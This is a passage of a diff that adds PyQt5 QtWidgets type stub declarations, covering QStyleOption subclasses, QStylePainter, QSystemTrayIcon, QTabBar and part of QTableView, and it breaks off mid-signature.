QStyleOptionButton.StyleOptionType + + class ButtonFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QStyleOptionButton.ButtonFeatures', 'QStyleOptionButton.ButtonFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleOptionButton.ButtonFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QStyleOptionButton.ButtonFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + features = ... # type: typing.Union['QStyleOptionButton.ButtonFeatures', 'QStyleOptionButton.ButtonFeature'] + icon = ... # type: QtGui.QIcon + iconSize = ... # type: QtCore.QSize + text = ... # type: str + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionButton') -> None: ... + + +class QStyleOptionTab(QStyleOption): + + class TabFeature(int): + None_ = ... # type: QStyleOptionTab.TabFeature + HasFrame = ... # type: QStyleOptionTab.TabFeature + + class CornerWidget(int): + NoCornerWidgets = ... # type: QStyleOptionTab.CornerWidget + LeftCornerWidget = ... # type: QStyleOptionTab.CornerWidget + RightCornerWidget = ... # type: QStyleOptionTab.CornerWidget + + class SelectedPosition(int): + NotAdjacent = ... # type: QStyleOptionTab.SelectedPosition + NextIsSelected = ... # type: QStyleOptionTab.SelectedPosition + PreviousIsSelected = ... # type: QStyleOptionTab.SelectedPosition + + class TabPosition(int): + Beginning = ... # type: QStyleOptionTab.TabPosition + Middle = ... # type: QStyleOptionTab.TabPosition + End = ... # type: QStyleOptionTab.TabPosition + OnlyOneTab = ... # type: QStyleOptionTab.TabPosition + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionTab.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionTab.StyleOptionType + + class CornerWidgets(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QStyleOptionTab.CornerWidgets', 'QStyleOptionTab.CornerWidget']) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleOptionTab.CornerWidgets') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QStyleOptionTab.CornerWidgets': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class TabFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QStyleOptionTab.TabFeatures', 'QStyleOptionTab.TabFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleOptionTab.TabFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QStyleOptionTab.TabFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + cornerWidgets = ... # type: typing.Union['QStyleOptionTab.CornerWidgets', 'QStyleOptionTab.CornerWidget'] + documentMode = ... # type: bool + features = ... # type: typing.Union['QStyleOptionTab.TabFeatures', 'QStyleOptionTab.TabFeature'] + icon = ... # type: QtGui.QIcon + iconSize = ... # type: QtCore.QSize + leftButtonSize = ... # type: QtCore.QSize + position = ... # type: 'QStyleOptionTab.TabPosition' + rightButtonSize = ... # type: QtCore.QSize + row = ... # type: int + selectedPosition = ... # type: 'QStyleOptionTab.SelectedPosition' + shape = ... # type: 'QTabBar.Shape' + text = ... # type: str + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionTab') -> None: ... + + +class QStyleOptionTabV4(QStyleOptionTab): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionTabV4.StyleOptionVersion + + tabIndex = ... # type: int + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleOptionTabV4') -> None: ... + + +class QStyleOptionProgressBar(QStyleOption): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionProgressBar.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionProgressBar.StyleOptionType + + bottomToTop = ... # type: bool + invertedAppearance = ... # type: bool + maximum = ... # type: int + minimum = ... # type: int + orientation = ... # type: QtCore.Qt.Orientation + progress = ... # type: int + text = ... # type: str + textAlignment = ... # type: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] + textVisible = ... # type: bool + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionProgressBar') -> None: ... + + +class QStyleOptionMenuItem(QStyleOption): + + class CheckType(int): + NotCheckable = ... # type: QStyleOptionMenuItem.CheckType + Exclusive = ... # type: QStyleOptionMenuItem.CheckType + NonExclusive = ... # type: QStyleOptionMenuItem.CheckType + + class MenuItemType(int): + Normal = ... # type: QStyleOptionMenuItem.MenuItemType + DefaultItem = ... # type: QStyleOptionMenuItem.MenuItemType + Separator = ... # type: QStyleOptionMenuItem.MenuItemType + SubMenu = ... # type: QStyleOptionMenuItem.MenuItemType + Scroller = ... # type: QStyleOptionMenuItem.MenuItemType + TearOff = ... # type: QStyleOptionMenuItem.MenuItemType + Margin = ... # type: QStyleOptionMenuItem.MenuItemType + EmptyArea = ... # type: QStyleOptionMenuItem.MenuItemType + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionMenuItem.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionMenuItem.StyleOptionType + + checkType = ... # type: 'QStyleOptionMenuItem.CheckType' + checked = ... # type: bool + font = ... # type: QtGui.QFont + icon = ... # type: QtGui.QIcon + maxIconWidth = ... # type: int + menuHasCheckableItems = ... # type: bool + menuItemType = ... # type: 'QStyleOptionMenuItem.MenuItemType' + menuRect = ... # type: QtCore.QRect + tabWidth = ... # type: int + text = ... # type: str + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionMenuItem') -> None: ... + + +class QStyleOptionDockWidget(QStyleOption): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionDockWidget.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionDockWidget.StyleOptionType + + closable = ... # type: bool + floatable = ... # type: bool + movable = ... # type: bool + title = ... # type: str + verticalTitleBar = ... # type: bool + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionDockWidget') -> None: ... + + +class QStyleOptionViewItem(QStyleOption): + + class ViewItemPosition(int): + Invalid = ... # type: QStyleOptionViewItem.ViewItemPosition + Beginning = ... # type: QStyleOptionViewItem.ViewItemPosition + Middle = ... # type: QStyleOptionViewItem.ViewItemPosition + End = ... # type: QStyleOptionViewItem.ViewItemPosition + OnlyOne = ... # type: QStyleOptionViewItem.ViewItemPosition + + class ViewItemFeature(int): + None_ = ... # type: QStyleOptionViewItem.ViewItemFeature + WrapText = ... # type: QStyleOptionViewItem.ViewItemFeature + Alternate = ... # type: QStyleOptionViewItem.ViewItemFeature + HasCheckIndicator = ... # type: QStyleOptionViewItem.ViewItemFeature + HasDisplay = ... # type: QStyleOptionViewItem.ViewItemFeature + HasDecoration = ... # type: QStyleOptionViewItem.ViewItemFeature + + class Position(int): + Left = ... # type: QStyleOptionViewItem.Position + Right = ... # type: QStyleOptionViewItem.Position + Top = ... # type: QStyleOptionViewItem.Position + Bottom = ... # type: QStyleOptionViewItem.Position + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionViewItem.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionViewItem.StyleOptionType + + class ViewItemFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QStyleOptionViewItem.ViewItemFeatures', 'QStyleOptionViewItem.ViewItemFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleOptionViewItem.ViewItemFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QStyleOptionViewItem.ViewItemFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + backgroundBrush = ... # type: typing.Union[QtGui.QBrush, QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] + checkState = ... # type: QtCore.Qt.CheckState + decorationAlignment = ... # type: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] + decorationPosition = ... # type: 'QStyleOptionViewItem.Position' + decorationSize = ... # type: QtCore.QSize + displayAlignment = ... # type: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] + features = ... # type: typing.Union['QStyleOptionViewItem.ViewItemFeatures', 'QStyleOptionViewItem.ViewItemFeature'] + font = ... # type: QtGui.QFont + icon = ... # type: QtGui.QIcon + index = ... # type: QtCore.QModelIndex + locale = ... # type: QtCore.QLocale + showDecorationSelected = ... # type: bool + text = ... # type: str + textElideMode = ... # type: QtCore.Qt.TextElideMode + viewItemPosition = ... # type: 'QStyleOptionViewItem.ViewItemPosition' + widget = ... # type: QWidget + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionViewItem') -> None: ... + + +class QStyleOptionToolBox(QStyleOption): + + class SelectedPosition(int): + NotAdjacent = ... # type: QStyleOptionToolBox.SelectedPosition + NextIsSelected = ... # type: QStyleOptionToolBox.SelectedPosition + PreviousIsSelected = ... # type: QStyleOptionToolBox.SelectedPosition + + class TabPosition(int): + Beginning = ... # type: QStyleOptionToolBox.TabPosition + Middle = ... # type: QStyleOptionToolBox.TabPosition + End = ... # type: QStyleOptionToolBox.TabPosition + OnlyOneTab = ... # type: QStyleOptionToolBox.TabPosition + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionToolBox.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionToolBox.StyleOptionType + + icon = ... # type: QtGui.QIcon + position = ... # type: 'QStyleOptionToolBox.TabPosition' + selectedPosition = ... # type: 'QStyleOptionToolBox.SelectedPosition' + text = ... # type: str + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionToolBox') -> None: ... + + +class QStyleOptionRubberBand(QStyleOption): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionRubberBand.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionRubberBand.StyleOptionType + + opaque = ... # type: bool + shape = ... # type: QRubberBand.Shape + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionRubberBand') -> None: ... + + +class QStyleOptionComplex(QStyleOption): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionComplex.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionComplex.StyleOptionType + + activeSubControls = ... # type: typing.Union[QStyle.SubControls, QStyle.SubControl] + subControls = ... # type: typing.Union[QStyle.SubControls, QStyle.SubControl] + + @typing.overload + def __init__(self, version: int = ..., type: int = ...) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionComplex') -> None: ... + + +class QStyleOptionSlider(QStyleOptionComplex): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionSlider.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionSlider.StyleOptionType + + dialWrapping = ... # type: bool + maximum = ... # type: int + minimum = ... # type: int + notchTarget = ... # type: float + orientation = ... # type: QtCore.Qt.Orientation + pageStep = ... # type: int + singleStep = ... # type: int + sliderPosition = ... # type: int + sliderValue = ... # type: int + tickInterval = ... # type: int + tickPosition = ... # type: QSlider.TickPosition + upsideDown = ... # type: bool + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionSlider') -> None: ... + + +class QStyleOptionSpinBox(QStyleOptionComplex): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionSpinBox.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionSpinBox.StyleOptionType + + buttonSymbols = ... # type: QAbstractSpinBox.ButtonSymbols + frame = ... # type: bool + stepEnabled = ... # type: typing.Union[QAbstractSpinBox.StepEnabled, QAbstractSpinBox.StepEnabledFlag] + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionSpinBox') -> None: ... + + +class QStyleOptionToolButton(QStyleOptionComplex): + + class ToolButtonFeature(int): + None_ = ... # type: QStyleOptionToolButton.ToolButtonFeature + Arrow = ... # type: QStyleOptionToolButton.ToolButtonFeature + Menu = ... # type: QStyleOptionToolButton.ToolButtonFeature + PopupDelay = ... # type: QStyleOptionToolButton.ToolButtonFeature + MenuButtonPopup = ... # type: QStyleOptionToolButton.ToolButtonFeature + HasMenu = ... # type: QStyleOptionToolButton.ToolButtonFeature + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionToolButton.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionToolButton.StyleOptionType + + class ToolButtonFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QStyleOptionToolButton.ToolButtonFeatures', 'QStyleOptionToolButton.ToolButtonFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleOptionToolButton.ToolButtonFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QStyleOptionToolButton.ToolButtonFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + arrowType = ... # type: QtCore.Qt.ArrowType + features = ... # type: typing.Union['QStyleOptionToolButton.ToolButtonFeatures', 'QStyleOptionToolButton.ToolButtonFeature'] + font = ... # type: QtGui.QFont + icon = ... # type: QtGui.QIcon + iconSize = ... # type: QtCore.QSize + pos = ... # type: QtCore.QPoint + text = ... # type: str + toolButtonStyle = ... # type: QtCore.Qt.ToolButtonStyle + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionToolButton') -> None: ... + + +class QStyleOptionComboBox(QStyleOptionComplex): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionComboBox.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionComboBox.StyleOptionType + + currentIcon = ... # type: QtGui.QIcon + currentText = ... # type: str + editable = ... # type: bool + frame = ... # type: bool + iconSize = ... # type: QtCore.QSize + popupRect = ... # type: QtCore.QRect + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionComboBox') -> None: ... + + +class QStyleOptionTitleBar(QStyleOptionComplex): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionTitleBar.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionTitleBar.StyleOptionType + + icon = ... # type: QtGui.QIcon + text = ... # type: str + titleBarFlags = ... # type: typing.Union[QtCore.Qt.WindowFlags, QtCore.Qt.WindowType] + titleBarState = ... # type: int + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionTitleBar') -> None: ... + + +class QStyleHintReturn(sip.simplewrapper): + + class StyleOptionVersion(int): + Version = ... # type: QStyleHintReturn.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleHintReturn.StyleOptionType + + class HintReturnType(int): + SH_Default = ... # type: QStyleHintReturn.HintReturnType + SH_Mask = ... # type: QStyleHintReturn.HintReturnType + SH_Variant = ... # type: QStyleHintReturn.HintReturnType + + type = ... # type: int + version = ... # type: int + + @typing.overload + def __init__(self, version: int = ..., type: int = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleHintReturn') -> None: ... + + +class QStyleHintReturnMask(QStyleHintReturn): + + class StyleOptionVersion(int): + Version = ... # type: QStyleHintReturnMask.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleHintReturnMask.StyleOptionType + + region = ... # type: QtGui.QRegion + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleHintReturnMask') -> None: ... + + +class QStyleOptionToolBar(QStyleOption): + + class ToolBarFeature(int): + None_ = ... # type: QStyleOptionToolBar.ToolBarFeature + Movable = ... # type: QStyleOptionToolBar.ToolBarFeature + + class ToolBarPosition(int): + Beginning = ... # type: QStyleOptionToolBar.ToolBarPosition + Middle = ... # type: QStyleOptionToolBar.ToolBarPosition + End = ... # type: QStyleOptionToolBar.ToolBarPosition + OnlyOne = ... # type: QStyleOptionToolBar.ToolBarPosition + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionToolBar.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionToolBar.StyleOptionType + + class ToolBarFeatures(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QStyleOptionToolBar.ToolBarFeatures', 'QStyleOptionToolBar.ToolBarFeature']) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleOptionToolBar.ToolBarFeatures') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QStyleOptionToolBar.ToolBarFeatures': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + features = ... # type: typing.Union['QStyleOptionToolBar.ToolBarFeatures', 'QStyleOptionToolBar.ToolBarFeature'] + lineWidth = ... # type: int + midLineWidth = ... # type: int + positionOfLine = ... # type: 'QStyleOptionToolBar.ToolBarPosition' + positionWithinLine = ... # type: 'QStyleOptionToolBar.ToolBarPosition' + toolBarArea = ... # type: QtCore.Qt.ToolBarArea + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionToolBar') -> None: ... + + +class QStyleOptionGroupBox(QStyleOptionComplex): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionGroupBox.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionGroupBox.StyleOptionType + + features = ... # type: typing.Union[QStyleOptionFrame.FrameFeatures, QStyleOptionFrame.FrameFeature] + lineWidth = ... # type: int + midLineWidth = ... # type: int + text = ... # type: str + textAlignment = ... # type: typing.Union[QtCore.Qt.Alignment, QtCore.Qt.AlignmentFlag] + textColor = ... # type: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient] + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionGroupBox') -> None: ... + + +class QStyleOptionSizeGrip(QStyleOptionComplex): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionSizeGrip.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionSizeGrip.StyleOptionType + + corner = ... # type: QtCore.Qt.Corner + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionSizeGrip') -> None: ... + + +class QStyleOptionGraphicsItem(QStyleOption): + + class StyleOptionVersion(int): + Version = ... # type: QStyleOptionGraphicsItem.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleOptionGraphicsItem.StyleOptionType + + exposedRect = ... # type: QtCore.QRectF + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QStyleOptionGraphicsItem') -> None: ... + + @staticmethod + def levelOfDetailFromTransform(worldTransform: QtGui.QTransform) -> float: ... + + +class QStyleHintReturnVariant(QStyleHintReturn): + + class StyleOptionVersion(int): + Version = ... # type: QStyleHintReturnVariant.StyleOptionVersion + + class StyleOptionType(int): + Type = ... # type: QStyleHintReturnVariant.StyleOptionType + + variant = ... # type: typing.Any + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QStyleHintReturnVariant') -> None: ... + + +class QStylePainter(QtGui.QPainter): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, w: QWidget) -> None: ... + @typing.overload + def __init__(self, pd: QtGui.QPaintDevice, w: QWidget) -> None: ... + + def drawItemPixmap(self, r: QtCore.QRect, flags: int, pixmap: QtGui.QPixmap) -> None: ... + def drawItemText(self, rect: QtCore.QRect, flags: int, pal: QtGui.QPalette, enabled: bool, text: str, textRole: QtGui.QPalette.ColorRole = ...) -> None: ... + def drawComplexControl(self, cc: QStyle.ComplexControl, opt: QStyleOptionComplex) -> None: ... + def drawControl(self, ce: QStyle.ControlElement, opt: QStyleOption) -> None: ... + def drawPrimitive(self, pe: QStyle.PrimitiveElement, opt: QStyleOption) -> None: ... + def style(self) -> QStyle: ... + @typing.overload + def begin(self, w: QWidget) -> bool: ... + @typing.overload + def begin(self, pd: QtGui.QPaintDevice, w: QWidget) -> bool: ... + + +class QSystemTrayIcon(QtCore.QObject): + + class MessageIcon(int): + NoIcon = ... # type: QSystemTrayIcon.MessageIcon + Information = ... # type: QSystemTrayIcon.MessageIcon + Warning = ... # type: QSystemTrayIcon.MessageIcon + Critical = ... # type: QSystemTrayIcon.MessageIcon + + class ActivationReason(int): + Unknown = ... # type: QSystemTrayIcon.ActivationReason + Context = ... # type: QSystemTrayIcon.ActivationReason + DoubleClick = ... # type: QSystemTrayIcon.ActivationReason + Trigger = ... # type: QSystemTrayIcon.ActivationReason + MiddleClick = ... # type: QSystemTrayIcon.ActivationReason + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, icon: QtGui.QIcon, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def event(self, event: QtCore.QEvent) -> bool: ... + def messageClicked(self) -> None: ... + def activated(self, reason: 'QSystemTrayIcon.ActivationReason') -> None: ... + def show(self) -> None: ... + def setVisible(self, visible: bool) -> None: ... + def hide(self) -> None: ... + def isVisible(self) -> bool: ... + @typing.overload + def showMessage(self, title: str, msg: str, icon: 'QSystemTrayIcon.MessageIcon' = ..., msecs: int = ...) -> None: ... + @typing.overload + def showMessage(self, title: str, msg: str, icon: QtGui.QIcon, msecs: int = ...) -> None: ... + @staticmethod + def supportsMessages() -> bool: ... + @staticmethod + def isSystemTrayAvailable() -> bool: ... + def setToolTip(self, tip: str) -> None: ... + def toolTip(self) -> str: ... + def setIcon(self, icon: QtGui.QIcon) -> None: ... + def icon(self) -> QtGui.QIcon: ... + def geometry(self) -> QtCore.QRect: ... + def contextMenu(self) -> QMenu: ... + def setContextMenu(self, menu: QMenu) -> None: ... + + +class QTabBar(QWidget): + + class SelectionBehavior(int): + SelectLeftTab = ... # type: QTabBar.SelectionBehavior + SelectRightTab = ... # type: QTabBar.SelectionBehavior + SelectPreviousTab = ... # type: QTabBar.SelectionBehavior + + class ButtonPosition(int): + LeftSide = ... # type: QTabBar.ButtonPosition + RightSide = ... # type: QTabBar.ButtonPosition + + class Shape(int): + RoundedNorth = ... # type: QTabBar.Shape + RoundedSouth = ... # type: QTabBar.Shape + RoundedWest = ... # type: QTabBar.Shape + RoundedEast = ... # type: QTabBar.Shape + TriangularNorth = ... # type: QTabBar.Shape + TriangularSouth = ... # type: QTabBar.Shape + TriangularWest = ... # type: QTabBar.Shape + TriangularEast = ... # type: QTabBar.Shape + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def setTabVisible(self, index: int, visible: bool) -> None: ... + def isTabVisible(self, index: int) -> bool: ... + def setAccessibleTabName(self, index: int, name: str) -> None: ... + def accessibleTabName(self, index: int) -> str: ... + def timerEvent(self, event: QtCore.QTimerEvent) -> None: ... + def setChangeCurrentOnDrag(self, change: bool) -> None: ... + def changeCurrentOnDrag(self) -> bool: ... + def setAutoHide(self, hide: bool) -> None: ... + def autoHide(self) -> bool: ... + def tabBarDoubleClicked(self, index: int) -> None: ... + def tabBarClicked(self, index: int) -> None: ... + def minimumTabSizeHint(self, index: int) -> QtCore.QSize: ... + def wheelEvent(self, event: QtGui.QWheelEvent) -> None: ... + def hideEvent(self, a0: QtGui.QHideEvent) -> None: ... + def tabMoved(self, from_: int, to: int) -> None: ... + def tabCloseRequested(self, index: int) -> None: ... + def setDocumentMode(self, set: bool) -> None: ... + def documentMode(self) -> bool: ... + def setMovable(self, movable: bool) -> None: ... + def isMovable(self) -> bool: ... + def setExpanding(self, enabled: bool) -> None: ... + def expanding(self) -> bool: ... + def setSelectionBehaviorOnRemove(self, behavior: 'QTabBar.SelectionBehavior') -> None: ... + def selectionBehaviorOnRemove(self) -> 'QTabBar.SelectionBehavior': ... + def tabButton(self, index: int, position: 'QTabBar.ButtonPosition') -> QWidget: ... + def setTabButton(self, index: int, position: 'QTabBar.ButtonPosition', widget: QWidget) -> None: ... + def setTabsClosable(self, closable: bool) -> None: ... + def tabsClosable(self) -> bool: ... + def moveTab(self, from_: int, to: int) -> None: ... + def changeEvent(self, a0: QtCore.QEvent) -> None: ... + def keyPressEvent(self, a0: QtGui.QKeyEvent) -> None: ... + def mouseReleaseEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, a0: QtGui.QMouseEvent) -> None: ... + def paintEvent(self, a0: QtGui.QPaintEvent) -> None: ... + def showEvent(self, a0: QtGui.QShowEvent) -> None: ... + def resizeEvent(self, a0: QtGui.QResizeEvent) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def tabLayoutChange(self) -> None: ... + def tabRemoved(self, index: int) -> None: ... + def tabInserted(self, index: int) -> None: ... + def tabSizeHint(self, index: int) -> QtCore.QSize: ... + def initStyleOption(self, option: QStyleOptionTab, tabIndex: int) -> None: ... + def currentChanged(self, index: int) -> None: ... + def setCurrentIndex(self, index: int) -> None: ... + def usesScrollButtons(self) -> bool: ... + def setUsesScrollButtons(self, useButtons: bool) -> None: ... + def setElideMode(self, a0: QtCore.Qt.TextElideMode) -> None: ... + def elideMode(self) -> QtCore.Qt.TextElideMode: ... + def setIconSize(self, size: QtCore.QSize) -> None: ... + def iconSize(self) -> QtCore.QSize: ... + def drawBase(self) -> bool: ... + def setDrawBase(self, drawTheBase: bool) -> None: ... + def minimumSizeHint(self) -> QtCore.QSize: ... + def sizeHint(self) -> QtCore.QSize: ... + def __len__(self) -> int: ... + def count(self) -> int: ... + def currentIndex(self) -> int: ... + def tabRect(self, index: int) -> QtCore.QRect: ... + def tabAt(self, pos: QtCore.QPoint) -> int: ... + def tabData(self, index: int) -> typing.Any: ... + def setTabData(self, index: int, data: typing.Any) -> None: ... + def tabWhatsThis(self, index: int) -> str: ... + def setTabWhatsThis(self, index: int, text: str) -> None: ... + def tabToolTip(self, index: int) -> str: ... + def setTabToolTip(self, index: int, tip: str) -> None: ... + def setTabIcon(self, index: int, icon: QtGui.QIcon) -> None: ... + def tabIcon(self, index: int) -> QtGui.QIcon: ... + def setTabTextColor(self, index: int, color: typing.Union[QtGui.QColor, QtCore.Qt.GlobalColor, QtGui.QGradient]) -> None: ... + def tabTextColor(self, index: int) -> QtGui.QColor: ... + def setTabText(self, index: int, text: str) -> None: ... + def tabText(self, index: int) -> str: ... + def setTabEnabled(self, index: int, a1: bool) -> None: ... + def isTabEnabled(self, index: int) -> bool: ... + def removeTab(self, index: int) -> None: ... + @typing.overload + def insertTab(self, index: int, text: str) -> int: ... + @typing.overload + def insertTab(self, index: int, icon: QtGui.QIcon, text: str) -> int: ... + @typing.overload + def addTab(self, text: str) -> int: ... + @typing.overload + def addTab(self, icon: QtGui.QIcon, text: str) -> int: ... + def setShape(self, shape: 'QTabBar.Shape') -> None: ... + def shape(self) -> 'QTabBar.Shape': ... + + +class QTableView(QAbstractItemView): + + def __init__(self, parent: typing.Optional[QWidget] = ...) -> None: ... + + def currentChanged(self, current: QtCore.QModelIndex, previous: QtCore.QModelIndex) -> None: ... + def selectionChanged(self, selected: QtCore.QItemSelection, deselected: QtCore.QItemSelection) -> None: ... + def clearSpans(self) -> None: ... + def isCornerButtonEnabled(self) -> bool: ... + def setCornerButtonEnabled(self, enable: bool) -> None: ... + def wordWrap(self) -> bool: ... + def setWordWrap(self, on: bool) -> None: ... + def sortByColumn(self, column: int, order: QtCore.Qt.SortOrder) -> None: ... + def columnSpan(self, row: int, column: int) -> int: ... + def rowSpan(self, row: int, column: int) -> int: ... + def setSpan(self, row: int, column: int, rowSpan: int, columnSpan: int) -> None: ... + def isSortingEnabled(self) -> bool: ... + def setSortingEnabled(self, enable: bool) -> None: ... + def viewportSizeHint(self) -> QtCore.QSize: ... + def isIndexHidden(self, index: QtCore.QModelIndex) -> bool: ... + def horizontalScrollbarAction(self, action: int) -> None: ... + def verticalScrollbarAction(self, action: int) -> None: ... + def sizeHintForColumn(self, column: int) -> int: ... + def sizeHintForRow(self, row: int) -> int: ... + def updateGeometries(self) -> None: ... + def selectedIndexes(self) -> typing.List[QtCore.QModelIndex]: ... + def visualRegionForSelection(self, selection: QtCore.QItemSelection) -> QtGui.QRegion: ... + def setSelection(self, rect: QtCore.QRect, command: typing.Union[QtCore.QItemSelectionModel.SelectionFlags, QtCore.QItemSelectionModel.SelectionFlag]) -> None: ... + def moveCursor(self, cursorAction: QAbstractItemView.CursorAction, modifiers: typing.Union[QtCore.Qt.KeyboardModifiers, QtCore.Qt.KeyboardModifier]) -> QtCore.QModelIndex: ... + def verticalOffset(self) -> int: ... + def horizontalOffset(self) -> int: ... + def timerEvent(self, event: QtCore.QTimerEvent) -> None: ... + def paintEvent(self, e: QtGui.QPaintEvent) -> None: ... + def viewOptions(self) -> QStyleOptionViewItem: ... + def scrollContentsBy(self, dx: int, dy: int) -> None: ... + def columnCountChanged(self, oldCount: int, newCount: int) -> None: ... + def rowCountChanged(self, oldCount: int, newCount: int) -> None: ... + def columnResized(self, column: int, oldWidth: int, newWidth: int) -> None: ... + def rowResized(self, row: int, oldHeight: int, newHeight: int) -> None: ... + def columnMoved(self, column: int, oldIndex: int, newIndex: int) -> None: ... + def rowMoved(self, row: int, oldIndex: int, newIndex: int) -> None: ... + def resizeColumnsToContents(self) -> None: ... + def resizeColumnToContents(self, 